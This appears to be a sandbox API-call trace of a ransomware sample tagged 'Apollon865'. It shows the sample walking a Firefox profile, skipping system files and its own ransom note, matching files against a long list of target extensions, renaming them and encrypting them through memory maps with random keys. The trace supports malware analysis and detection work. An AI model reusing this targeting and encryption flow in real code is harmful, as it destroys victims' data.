	[0040.967] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\cookies.sqlite") returned 102
	[0040.967] lstrcpyW (in: lpString1=0x2d3e600, lpString2="downloads.sqlite" | out: lpString1="downloads.sqlite") returned="downloads.sqlite"
	[0040.967] lstrlenW (lpString="downloads.sqlite") returned 16
	[0040.967] lstrlenW (lpString="Apollon865") returned 10
	[0040.967] lstrcmpiW (lpString1="ads.sqlite", lpString2="Apollon865") returned -1
	[0040.968] lstrlenW (lpString=".dll") returned 4
	[0040.968] lstrcmpiW (lpString1="downloads.sqlite", lpString2=".dll") returned 1
	[0040.968] lstrlenW (lpString=".lnk") returned 4
	[0040.968] lstrcmpiW (lpString1="downloads.sqlite", lpString2=".lnk") returned 1
	[0040.968] lstrlenW (lpString=".ini") returned 4
	[0040.968] lstrcmpiW (lpString1="downloads.sqlite", lpString2=".ini") returned 1
	[0040.968] lstrlenW (lpString=".sys") returned 4
	[0040.968] lstrcmpiW (lpString1="downloads.sqlite", lpString2=".sys") returned 1
	[0040.968] lstrlenW (lpString="downloads.sqlite") returned 16
	[0040.968] lstrlenW (lpString="bak") returned 3
	[0040.968] lstrcmpiW (lpString1="ite", lpString2="bak") returned 1
	[0040.968] lstrlenW (lpString="ba_") returned 3
	[0040.968] lstrcmpiW (lpString1="ite", lpString2="ba_") returned 1
	[0040.968] lstrlenW (lpString="dbb") returned 3
	[0040.968] lstrcmpiW (lpString1="ite", lpString2="dbb") returned 1
	[0040.968] lstrlenW (lpString="vmdk") returned 4
	[0040.968] lstrcmpiW (lpString1="lite", lpString2="vmdk") returned -1
	[0040.968] lstrlenW (lpString="rar") returned 3
	[0040.968] lstrcmpiW (lpString1="ite", lpString2="rar") returned -1
	[0040.968] lstrlenW (lpString="zip") returned 3
	[0040.968] lstrcmpiW (lpString1="ite", lpString2="zip") returned -1
	[0040.968] lstrlenW (lpString="tgz") returned 3
	[0040.968] lstrcmpiW (lpString1="ite", lpString2="tgz") returned -1
	[0040.968] lstrlenW (lpString="vbox") returned 4
	[0040.968] lstrcmpiW (lpString1="lite", lpString2="vbox") returned -1
	[0040.968] lstrlenW (lpString="vdi") returned 3
	[0040.968] lstrcmpiW (lpString1="ite", lpString2="vdi") returned -1
	[0040.968] lstrlenW (lpString="vhd") returned 3
	[0040.968] lstrcmpiW (lpString1="ite", lpString2="vhd") returned -1
	[0040.968] lstrlenW (lpString="vhdx") returned 4
	[0040.968] lstrcmpiW (lpString1="lite", lpString2="vhdx") returned -1
	[0040.968] lstrlenW (lpString="avhd") returned 4
	[0040.968] lstrcmpiW (lpString1="lite", lpString2="avhd") returned 1
	[0040.968] lstrlenW (lpString="db") returned 2
	[0040.968] lstrcmpiW (lpString1="te", lpString2="db") returned 1
	[0040.968] lstrlenW (lpString="db2") returned 3
	[0040.968] lstrcmpiW (lpString1="ite", lpString2="db2") returned 1
	[0040.968] lstrlenW (lpString="db3") returned 3
	[0040.968] lstrcmpiW (lpString1="ite", lpString2="db3") returned 1
	[0040.969] lstrlenW (lpString="dbf") returned 3
	[0040.969] lstrcmpiW (lpString1="ite", lpString2="dbf") returned 1
	[0040.969] lstrlenW (lpString="mdf") returned 3
	[0040.969] lstrcmpiW (lpString1="ite", lpString2="mdf") returned -1
	[0040.969] lstrlenW (lpString="mdb") returned 3
	[0040.969] lstrcmpiW (lpString1="ite", lpString2="mdb") returned -1
	[0040.969] lstrlenW (lpString="sql") returned 3
	[0040.969] lstrcmpiW (lpString1="ite", lpString2="sql") returned -1
	[0040.969] lstrlenW (lpString="sqlite") returned 6
	[0040.969] lstrcmpiW (lpString1="sqlite", lpString2="sqlite") returned 0
	[0040.969] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\downloads.sqlite.Apollon865") returned 115
	[0040.969] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\downloads.sqlite" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\downloads.sqlite"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\downloads.sqlite.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\downloads.sqlite.apollon865"), dwFlags=0x1) returned 1
	[0040.970] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\downloads.sqlite.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\downloads.sqlite.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x154
	[0040.971] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=98304) returned 1
	[0040.971] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3470020
	[0040.971] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa10
	[0040.971] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf898
	[0040.971] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf4e0) returned 1
	[0040.972] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0040.972] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0040.972] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x18300, lpName=0x0) returned 0x150
	[0040.974] MapViewOfFile (hFileMappingObject=0x150, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x18300) returned 0x120000
	[0040.988] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf4e0) returned 1
	[0040.989] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0040.989] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0040.989] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa88
	[0040.989] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa88 | out: hHeap=0x580000) returned 1
	[0040.989] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0040.989] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5bacb8
	[0040.989] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0040.989] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5baba0
	[0040.989] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x599bd8
	[0040.989] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5baba0 | out: hHeap=0x580000) returned 1
	[0040.990] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599bd8 | out: hHeap=0x580000) returned 1
	[0040.990] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bacb8 | out: hHeap=0x580000) returned 1
	[0040.990] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0040.991] CloseHandle (hObject=0x150) returned 1
	[0040.991] CloseHandle (hObject=0x154) returned 1
	[0040.993] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa10 | out: hHeap=0x580000) returned 1
	[0040.993] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf898 | out: hHeap=0x580000) returned 1
	[0040.993] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3470020 | out: hHeap=0x580000) returned 1
	[0040.993] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb4b81e50, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb4b81e50, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb4b81e50, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x8d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="extensions.ini", cAlternateFileName="EXTENS~1.INI")) returned 1
	[0040.993] lstrcmpiW (lpString1="extensions.ini", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0040.993] lstrcmpiW (lpString1="extensions.ini", lpString2="Apollon865.txt.exe") returned 1
	[0040.994] lstrcmpiW (lpString1="extensions.ini", lpString2=".") returned 1
	[0040.994] lstrcmpiW (lpString1="extensions.ini", lpString2="..") returned 1
	[0040.994] lstrcmpiW (lpString1="extensions.ini", lpString2="windows") returned -1
	[0040.994] lstrcmpiW (lpString1="extensions.ini", lpString2="bootmgr") returned 1
	[0040.994] lstrcmpiW (lpString1="extensions.ini", lpString2="temp") returned -1
	[0040.994] lstrcmpiW (lpString1="extensions.ini", lpString2="pagefile.sys") returned -1
	[0040.994] lstrcmpiW (lpString1="extensions.ini", lpString2="boot") returned 1
	[0040.994] lstrcmpiW (lpString1="extensions.ini", lpString2="ids.txt") returned -1
	[0040.994] lstrcmpiW (lpString1="extensions.ini", lpString2="ntuser.dat") returned -1
	[0040.994] lstrcmpiW (lpString1="extensions.ini", lpString2="perflogs") returned -1
	[0040.994] lstrcmpiW (lpString1="extensions.ini", lpString2="MSBuild") returned -1
	[0040.994] lstrlenW (lpString="extensions.ini") returned 14
	[0040.994] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\downloads.sqlite") returned 104
	[0040.994] lstrcpyW (in: lpString1=0x2d3e600, lpString2="extensions.ini" | out: lpString1="extensions.ini") returned="extensions.ini"
	[0040.994] lstrlenW (lpString="extensions.ini") returned 14
	[0040.994] lstrlenW (lpString="Apollon865") returned 10
	[0040.994] lstrcmpiW (lpString1="nsions.ini", lpString2="Apollon865") returned 1
	[0040.994] lstrlenW (lpString=".dll") returned 4
	[0040.994] lstrcmpiW (lpString1="extensions.ini", lpString2=".dll") returned 1
	[0040.994] lstrlenW (lpString=".lnk") returned 4
	[0040.994] lstrcmpiW (lpString1="extensions.ini", lpString2=".lnk") returned 1
	[0040.994] lstrlenW (lpString=".ini") returned 4
	[0040.994] lstrcmpiW (lpString1="extensions.ini", lpString2=".ini") returned 1
	[0040.994] lstrlenW (lpString=".sys") returned 4
	[0040.994] lstrcmpiW (lpString1="extensions.ini", lpString2=".sys") returned 1
	[0040.994] lstrlenW (lpString="extensions.ini") returned 14
	[0040.994] lstrlenW (lpString="bak") returned 3
	[0040.994] lstrcmpiW (lpString1="ini", lpString2="bak") returned 1
	[0040.994] lstrlenW (lpString="ba_") returned 3
	[0040.994] lstrcmpiW (lpString1="ini", lpString2="ba_") returned 1
	[0040.994] lstrlenW (lpString="dbb") returned 3
	[0040.994] lstrcmpiW (lpString1="ini", lpString2="dbb") returned 1
	[0040.994] lstrlenW (lpString="vmdk") returned 4
	[0040.994] lstrcmpiW (lpString1=".ini", lpString2="vmdk") returned -1
	[0040.994] lstrlenW (lpString="rar") returned 3
	[0040.994] lstrcmpiW (lpString1="ini", lpString2="rar") returned -1
	[0040.995] lstrlenW (lpString="zip") returned 3
	[0040.995] lstrcmpiW (lpString1="ini", lpString2="zip") returned -1
	[0040.995] lstrlenW (lpString="tgz") returned 3
	[0040.995] lstrcmpiW (lpString1="ini", lpString2="tgz") returned -1
	[0040.995] lstrlenW (lpString="vbox") returned 4
	[0040.995] lstrcmpiW (lpString1=".ini", lpString2="vbox") returned -1
	[0040.995] lstrlenW (lpString="vdi") returned 3
	[0040.995] lstrcmpiW (lpString1="ini", lpString2="vdi") returned -1
	[0040.995] lstrlenW (lpString="vhd") returned 3
	[0040.995] lstrcmpiW (lpString1="ini", lpString2="vhd") returned -1
	[0040.995] lstrlenW (lpString="vhdx") returned 4
	[0040.995] lstrcmpiW (lpString1=".ini", lpString2="vhdx") returned -1
	[0040.995] lstrlenW (lpString="avhd") returned 4
	[0040.995] lstrcmpiW (lpString1=".ini", lpString2="avhd") returned -1
	[0040.995] lstrlenW (lpString="db") returned 2
	[0040.995] lstrcmpiW (lpString1="ni", lpString2="db") returned 1
	[0040.995] lstrlenW (lpString="db2") returned 3
	[0040.995] lstrcmpiW (lpString1="ini", lpString2="db2") returned 1
	[0040.995] lstrlenW (lpString="db3") returned 3
	[0040.995] lstrcmpiW (lpString1="ini", lpString2="db3") returned 1
	[0040.995] lstrlenW (lpString="dbf") returned 3
	[0040.995] lstrcmpiW (lpString1="ini", lpString2="dbf") returned 1
	[0040.995] lstrlenW (lpString="mdf") returned 3
	[0040.995] lstrcmpiW (lpString1="ini", lpString2="mdf") returned -1
	[0040.995] lstrlenW (lpString="mdb") returned 3
	[0040.995] lstrcmpiW (lpString1="ini", lpString2="mdb") returned -1
	[0040.995] lstrlenW (lpString="sql") returned 3
	[0040.995] lstrcmpiW (lpString1="ini", lpString2="sql") returned -1
	[0040.995] lstrlenW (lpString="sqlite") returned 6
	[0040.995] lstrcmpiW (lpString1="ns.ini", lpString2="sqlite") returned -1
	[0040.995] lstrlenW (lpString="sqlite3") returned 7
	[0040.995] lstrcmpiW (lpString1="ons.ini", lpString2="sqlite3") returned -1
	[0040.995] lstrlenW (lpString="sqlitedb") returned 8
	[0040.995] lstrcmpiW (lpString1="ions.ini", lpString2="sqlitedb") returned -1
	[0040.995] lstrlenW (lpString="xml") returned 3
	[0040.995] lstrcmpiW (lpString1="ini", lpString2="xml") returned -1
	[0040.995] lstrlenW (lpString="$er") returned 3
	[0040.995] lstrcmpiW (lpString1="ini", lpString2="$er") returned 1
	[0040.995] lstrlenW (lpString="4dd") returned 3
	[0040.996] lstrcmpiW (lpString1="ini", lpString2="4dd") returned 1
	[0040.996] lstrlenW (lpString="4dl") returned 3
	[0040.996] lstrcmpiW (lpString1="ini", lpString2="4dl") returned 1
	[0040.996] lstrlenW (lpString="^^^") returned 3
	[0040.996] lstrcmpiW (lpString1="ini", lpString2="^^^") returned 1
	[0040.996] lstrlenW (lpString="abs") returned 3
	[0040.996] lstrcmpiW (lpString1="ini", lpString2="abs") returned 1
	[0040.996] lstrlenW (lpString="abx") returned 3
	[0040.996] lstrcmpiW (lpString1="ini", lpString2="abx") returned 1
	[0040.996] lstrlenW (lpString="accdb") returned 5
	[0040.996] lstrcmpiW (lpString1="s.ini", lpString2="accdb") returned 1
	[0040.996] lstrlenW (lpString="accdc") returned 5
	[0040.996] lstrcmpiW (lpString1="s.ini", lpString2="accdc") returned 1
	[0040.996] lstrlenW (lpString="accde") returned 5
	[0040.996] lstrcmpiW (lpString1="s.ini", lpString2="accde") returned 1
	[0040.996] lstrlenW (lpString="accdr") returned 5
	[0040.996] lstrcmpiW (lpString1="s.ini", lpString2="accdr") returned 1
	[0040.996] lstrlenW (lpString="accdt") returned 5
	[0040.996] lstrcmpiW (lpString1="s.ini", lpString2="accdt") returned 1
	[0040.996] lstrlenW (lpString="accdw") returned 5
	[0040.996] lstrcmpiW (lpString1="s.ini", lpString2="accdw") returned 1
	[0040.996] lstrlenW (lpString="accft") returned 5
	[0040.996] lstrcmpiW (lpString1="s.ini", lpString2="accft") returned 1
	[0040.996] lstrlenW (lpString="adb") returned 3
	[0040.996] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1
	[0040.996] lstrlenW (lpString="adb") returned 3
	[0040.996] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1
	[0040.996] lstrlenW (lpString="ade") returned 3
	[0040.996] lstrcmpiW (lpString1="ini", lpString2="ade") returned 1
	[0040.996] lstrlenW (lpString="adf") returned 3
	[0040.996] lstrcmpiW (lpString1="ini", lpString2="adf") returned 1
	[0040.996] lstrlenW (lpString="adn") returned 3
	[0040.996] lstrcmpiW (lpString1="ini", lpString2="adn") returned 1
	[0040.996] lstrlenW (lpString="adp") returned 3
	[0040.996] lstrcmpiW (lpString1="ini", lpString2="adp") returned 1
	[0040.996] lstrlenW (lpString="alf") returned 3
	[0040.996] lstrcmpiW (lpString1="ini", lpString2="alf") returned 1
	[0040.996] lstrlenW (lpString="ask") returned 3
	[0040.997] lstrcmpiW (lpString1="ini", lpString2="ask") returned 1
	[0040.997] lstrlenW (lpString="btr") returned 3
	[0040.997] lstrcmpiW (lpString1="ini", lpString2="btr") returned 1
	[0040.997] lstrlenW (lpString="cat") returned 3
	[0040.997] lstrcmpiW (lpString1="ini", lpString2="cat") returned 1
	[0040.997] lstrlenW (lpString="cdb") returned 3
	[0040.997] lstrcmpiW (lpString1="ini", lpString2="cdb") returned 1
	[0040.997] lstrlenW (lpString="ckp") returned 3
	[0040.997] lstrcmpiW (lpString1="ini", lpString2="ckp") returned 1
	[0040.997] lstrlenW (lpString="cma") returned 3
	[0040.997] lstrcmpiW (lpString1="ini", lpString2="cma") returned 1
	[0040.997] lstrlenW (lpString="cpd") returned 3
	[0040.997] lstrcmpiW (lpString1="ini", lpString2="cpd") returned 1
	[0040.997] lstrlenW (lpString="dacpac") returned 6
	[0040.997] lstrcmpiW (lpString1="ns.ini", lpString2="dacpac") returned 1
	[0040.997] lstrlenW (lpString="dad") returned 3
	[0040.997] lstrcmpiW (lpString1="ini", lpString2="dad") returned 1
	[0040.997] lstrlenW (lpString="dadiagrams") returned 10
	[0040.997] lstrcmpiW (lpString1="nsions.ini", lpString2="dadiagrams") returned 1
	[0040.997] lstrlenW (lpString="daschema") returned 8
	[0040.997] lstrcmpiW (lpString1="ions.ini", lpString2="daschema") returned 1
	[0040.997] lstrlenW (lpString="db-journal") returned 10
	[0040.997] lstrcmpiW (lpString1="nsions.ini", lpString2="db-journal") returned 1
	[0040.997] lstrlenW (lpString="db-shm") returned 6
	[0040.997] lstrcmpiW (lpString1="ns.ini", lpString2="db-shm") returned 1
	[0040.997] lstrlenW (lpString="db-wal") returned 6
	[0040.997] lstrcmpiW (lpString1="ns.ini", lpString2="db-wal") returned 1
	[0040.997] lstrlenW (lpString="dbc") returned 3
	[0040.997] lstrcmpiW (lpString1="ini", lpString2="dbc") returned 1
	[0040.997] lstrlenW (lpString="dbs") returned 3
	[0040.997] lstrcmpiW (lpString1="ini", lpString2="dbs") returned 1
	[0040.997] lstrlenW (lpString="dbt") returned 3
	[0040.997] lstrcmpiW (lpString1="ini", lpString2="dbt") returned 1
	[0040.997] lstrlenW (lpString="dbv") returned 3
	[0040.997] lstrcmpiW (lpString1="ini", lpString2="dbv") returned 1
	[0040.997] lstrlenW (lpString="dbx") returned 3
	[0040.998] lstrcmpiW (lpString1="ini", lpString2="dbx") returned 1
	[0040.998] lstrlenW (lpString="dcb") returned 3
	[0040.998] lstrcmpiW (lpString1="ini", lpString2="dcb") returned 1
	[0040.998] lstrlenW (lpString="dct") returned 3
	[0040.998] lstrcmpiW (lpString1="ini", lpString2="dct") returned 1
	[0040.998] lstrlenW (lpString="dcx") returned 3
	[0040.998] lstrcmpiW (lpString1="ini", lpString2="dcx") returned 1
	[0040.998] lstrlenW (lpString="ddl") returned 3
	[0040.998] lstrcmpiW (lpString1="ini", lpString2="ddl") returned 1
	[0040.998] lstrlenW (lpString="dlis") returned 4
	[0040.998] lstrcmpiW (lpString1=".ini", lpString2="dlis") returned -1
	[0040.998] lstrlenW (lpString="dp1") returned 3
	[0040.998] lstrcmpiW (lpString1="ini", lpString2="dp1") returned 1
	[0040.998] lstrlenW (lpString="dqy") returned 3
	[0040.998] lstrcmpiW (lpString1="ini", lpString2="dqy") returned 1
	[0040.998] lstrlenW (lpString="dsk") returned 3
	[0040.998] lstrcmpiW (lpString1="ini", lpString2="dsk") returned 1
	[0040.998] lstrlenW (lpString="dsn") returned 3
	[0040.998] lstrcmpiW (lpString1="ini", lpString2="dsn") returned 1
	[0040.998] lstrlenW (lpString="dtsx") returned 4
	[0040.998] lstrcmpiW (lpString1=".ini", lpString2="dtsx") returned -1
	[0040.998] lstrlenW (lpString="dxl") returned 3
	[0040.998] lstrcmpiW (lpString1="ini", lpString2="dxl") returned 1
	[0040.998] lstrlenW (lpString="eco") returned 3
	[0040.998] lstrcmpiW (lpString1="ini", lpString2="eco") returned 1
	[0040.998] lstrlenW (lpString="ecx") returned 3
	[0040.998] lstrcmpiW (lpString1="ini", lpString2="ecx") returned 1
	[0040.998] lstrlenW (lpString="edb") returned 3
	[0040.998] lstrcmpiW (lpString1="ini", lpString2="edb") returned 1
	[0040.998] lstrlenW (lpString="epim") returned 4
	[0040.998] lstrcmpiW (lpString1=".ini", lpString2="epim") returned -1
	[0040.998] lstrlenW (lpString="fcd") returned 3
	[0040.998] lstrcmpiW (lpString1="ini", lpString2="fcd") returned 1
	[0040.998] lstrlenW (lpString="fdb") returned 3
	[0040.998] lstrcmpiW (lpString1="ini", lpString2="fdb") returned 1
	[0040.998] lstrlenW (lpString="fic") returned 3
	[0040.998] lstrcmpiW (lpString1="ini", lpString2="fic") returned 1
	[0040.998] lstrlenW (lpString="flexolibrary") returned 12
	[0040.999] lstrcmpiW (lpString1="tensions.ini", lpString2="flexolibrary") returned 1
	[0040.999] lstrlenW (lpString="fm5") returned 3
	[0040.999] lstrcmpiW (lpString1="ini", lpString2="fm5") returned 1
	[0040.999] lstrlenW (lpString="fmp") returned 3
	[0040.999] lstrcmpiW (lpString1="ini", lpString2="fmp") returned 1
	[0040.999] lstrlenW (lpString="fmp12") returned 5
	[0040.999] lstrcmpiW (lpString1="s.ini", lpString2="fmp12") returned 1
	[0040.999] lstrlenW (lpString="fmpsl") returned 5
	[0040.999] lstrcmpiW (lpString1="s.ini", lpString2="fmpsl") returned 1
	[0040.999] lstrlenW (lpString="fol") returned 3
	[0040.999] lstrcmpiW (lpString1="ini", lpString2="fol") returned 1
	[0040.999] lstrlenW (lpString="fp3") returned 3
	[0040.999] lstrcmpiW (lpString1="ini", lpString2="fp3") returned 1
	[0040.999] lstrlenW (lpString="fp4") returned 3
	[0040.999] lstrcmpiW (lpString1="ini", lpString2="fp4") returned 1
	[0040.999] lstrlenW (lpString="fp5") returned 3
	[0040.999] lstrcmpiW (lpString1="ini", lpString2="fp5") returned 1
	[0040.999] lstrlenW (lpString="fp7") returned 3
	[0040.999] lstrcmpiW (lpString1="ini", lpString2="fp7") returned 1
	[0040.999] lstrlenW (lpString="fpt") returned 3
	[0040.999] lstrcmpiW (lpString1="ini", lpString2="fpt") returned 1
	[0040.999] lstrlenW (lpString="frm") returned 3
	[0040.999] lstrcmpiW (lpString1="ini", lpString2="frm") returned 1
	[0040.999] lstrlenW (lpString="gdb") returned 3
	[0040.999] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1
	[0040.999] lstrlenW (lpString="gdb") returned 3
	[0040.999] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1
	[0040.999] lstrlenW (lpString="grdb") returned 4
	[0040.999] lstrcmpiW (lpString1=".ini", lpString2="grdb") returned -1
	[0040.999] lstrlenW (lpString="gwi") returned 3
	[0040.999] lstrcmpiW (lpString1="ini", lpString2="gwi") returned 1
	[0040.999] lstrlenW (lpString="hdb") returned 3
	[0040.999] lstrcmpiW (lpString1="ini", lpString2="hdb") returned 1
	[0040.999] lstrlenW (lpString="his") returned 3
	[0040.999] lstrcmpiW (lpString1="ini", lpString2="his") returned 1
	[0040.999] lstrlenW (lpString="ib") returned 2
	[0040.999] lstrcmpiW (lpString1="ni", lpString2="ib") returned 1
	[0040.999] lstrlenW (lpString="idb") returned 3
	[0041.000] lstrcmpiW (lpString1="ini", lpString2="idb") returned 1
	[0041.000] lstrlenW (lpString="ihx") returned 3
	[0041.000] lstrcmpiW (lpString1="ini", lpString2="ihx") returned 1
	[0041.000] lstrlenW (lpString="itdb") returned 4
	[0041.000] lstrcmpiW (lpString1=".ini", lpString2="itdb") returned -1
	[0041.000] lstrlenW (lpString="itw") returned 3
	[0041.000] lstrcmpiW (lpString1="ini", lpString2="itw") returned -1
	[0041.000] lstrlenW (lpString="jet") returned 3
	[0041.000] lstrcmpiW (lpString1="ini", lpString2="jet") returned -1
	[0041.000] lstrlenW (lpString="jtx") returned 3
	[0041.000] lstrcmpiW (lpString1="ini", lpString2="jtx") returned -1
	[0041.000] lstrlenW (lpString="kdb") returned 3
	[0041.000] lstrcmpiW (lpString1="ini", lpString2="kdb") returned -1
	[0041.000] lstrlenW (lpString="kexi") returned 4
	[0041.000] lstrcmpiW (lpString1=".ini", lpString2="kexi") returned -1
	[0041.000] lstrlenW (lpString="kexic") returned 5
	[0041.000] lstrcmpiW (lpString1="s.ini", lpString2="kexic") returned 1
	[0041.000] lstrlenW (lpString="kexis") returned 5
	[0041.000] lstrcmpiW (lpString1="s.ini", lpString2="kexis") returned 1
	[0041.000] lstrlenW (lpString="lgc") returned 3
	[0041.000] lstrcmpiW (lpString1="ini", lpString2="lgc") returned -1
	[0041.000] lstrlenW (lpString="lwx") returned 3
	[0041.000] lstrcmpiW (lpString1="ini", lpString2="lwx") returned -1
	[0041.000] lstrlenW (lpString="maf") returned 3
	[0041.000] lstrcmpiW (lpString1="ini", lpString2="maf") returned -1
	[0041.000] lstrlenW (lpString="maq") returned 3
	[0041.000] lstrcmpiW (lpString1="ini", lpString2="maq") returned -1
	[0041.000] lstrlenW (lpString="mar") returned 3
	[0041.000] lstrcmpiW (lpString1="ini", lpString2="mar") returned -1
	[0041.000] lstrlenW (lpString="marshal") returned 7
	[0041.000] lstrcmpiW (lpString1="ons.ini", lpString2="marshal") returned 1
	[0041.000] lstrlenW (lpString="mas") returned 3
	[0041.000] lstrcmpiW (lpString1="ini", lpString2="mas") returned -1
	[0041.000] lstrlenW (lpString="mav") returned 3
	[0041.000] lstrcmpiW (lpString1="ini", lpString2="mav") returned -1
	[0041.000] lstrlenW (lpString="maw") returned 3
	[0041.000] lstrcmpiW (lpString1="ini", lpString2="maw") returned -1
	[0041.000] lstrlenW (lpString="mdbhtml") returned 7
	[0041.000] lstrcmpiW (lpString1="ons.ini", lpString2="mdbhtml") returned 1
	[0041.001] lstrlenW (lpString="mdn") returned 3
	[0041.001] lstrcmpiW (lpString1="ini", lpString2="mdn") returned -1
	[0041.001] lstrlenW (lpString="mdt") returned 3
	[0041.001] lstrcmpiW (lpString1="ini", lpString2="mdt") returned -1
	[0041.001] lstrlenW (lpString="mfd") returned 3
	[0041.001] lstrcmpiW (lpString1="ini", lpString2="mfd") returned -1
	[0041.001] lstrlenW (lpString="mpd") returned 3
	[0041.001] lstrcmpiW (lpString1="ini", lpString2="mpd") returned -1
	[0041.001] lstrlenW (lpString="mrg") returned 3
	[0041.001] lstrcmpiW (lpString1="ini", lpString2="mrg") returned -1
	[0041.001] lstrlenW (lpString="mud") returned 3
	[0041.001] lstrcmpiW (lpString1="ini", lpString2="mud") returned -1
	[0041.001] lstrlenW (lpString="mwb") returned 3
	[0041.001] lstrcmpiW (lpString1="ini", lpString2="mwb") returned -1
	[0041.001] lstrlenW (lpString="myd") returned 3
	[0041.001] lstrcmpiW (lpString1="ini", lpString2="myd") returned -1
	[0041.001] lstrlenW (lpString="ndf") returned 3
	[0041.001] lstrcmpiW (lpString1="ini", lpString2="ndf") returned -1
	[0041.001] lstrlenW (lpString="nnt") returned 3
	[0041.001] lstrcmpiW (lpString1="ini", lpString2="nnt") returned -1
	[0041.001] lstrlenW (lpString="nrmlib") returned 6
	[0041.001] lstrcmpiW (lpString1="ns.ini", lpString2="nrmlib") returned 1
	[0041.001] lstrlenW (lpString="ns2") returned 3
	[0041.001] lstrcmpiW (lpString1="ini", lpString2="ns2") returned -1
	[0041.001] lstrlenW (lpString="ns3") returned 3
	[0041.001] lstrcmpiW (lpString1="ini", lpString2="ns3") returned -1
	[0041.001] lstrlenW (lpString="ns4") returned 3
	[0041.001] lstrcmpiW (lpString1="ini", lpString2="ns4") returned -1
	[0041.001] lstrlenW (lpString="nsf") returned 3
	[0041.001] lstrcmpiW (lpString1="ini", lpString2="nsf") returned -1
	[0041.001] lstrlenW (lpString="nv") returned 2
	[0041.001] lstrcmpiW (lpString1="ni", lpString2="nv") returned -1
	[0041.001] lstrlenW (lpString="nv2") returned 3
	[0041.001] lstrcmpiW (lpString1="ini", lpString2="nv2") returned -1
	[0041.001] lstrlenW (lpString="nwdb") returned 4
	[0041.001] lstrcmpiW (lpString1=".ini", lpString2="nwdb") returned -1
	[0041.001] lstrlenW (lpString="nyf") returned 3
	[0041.002] lstrcmpiW (lpString1="ini", lpString2="nyf") returned -1
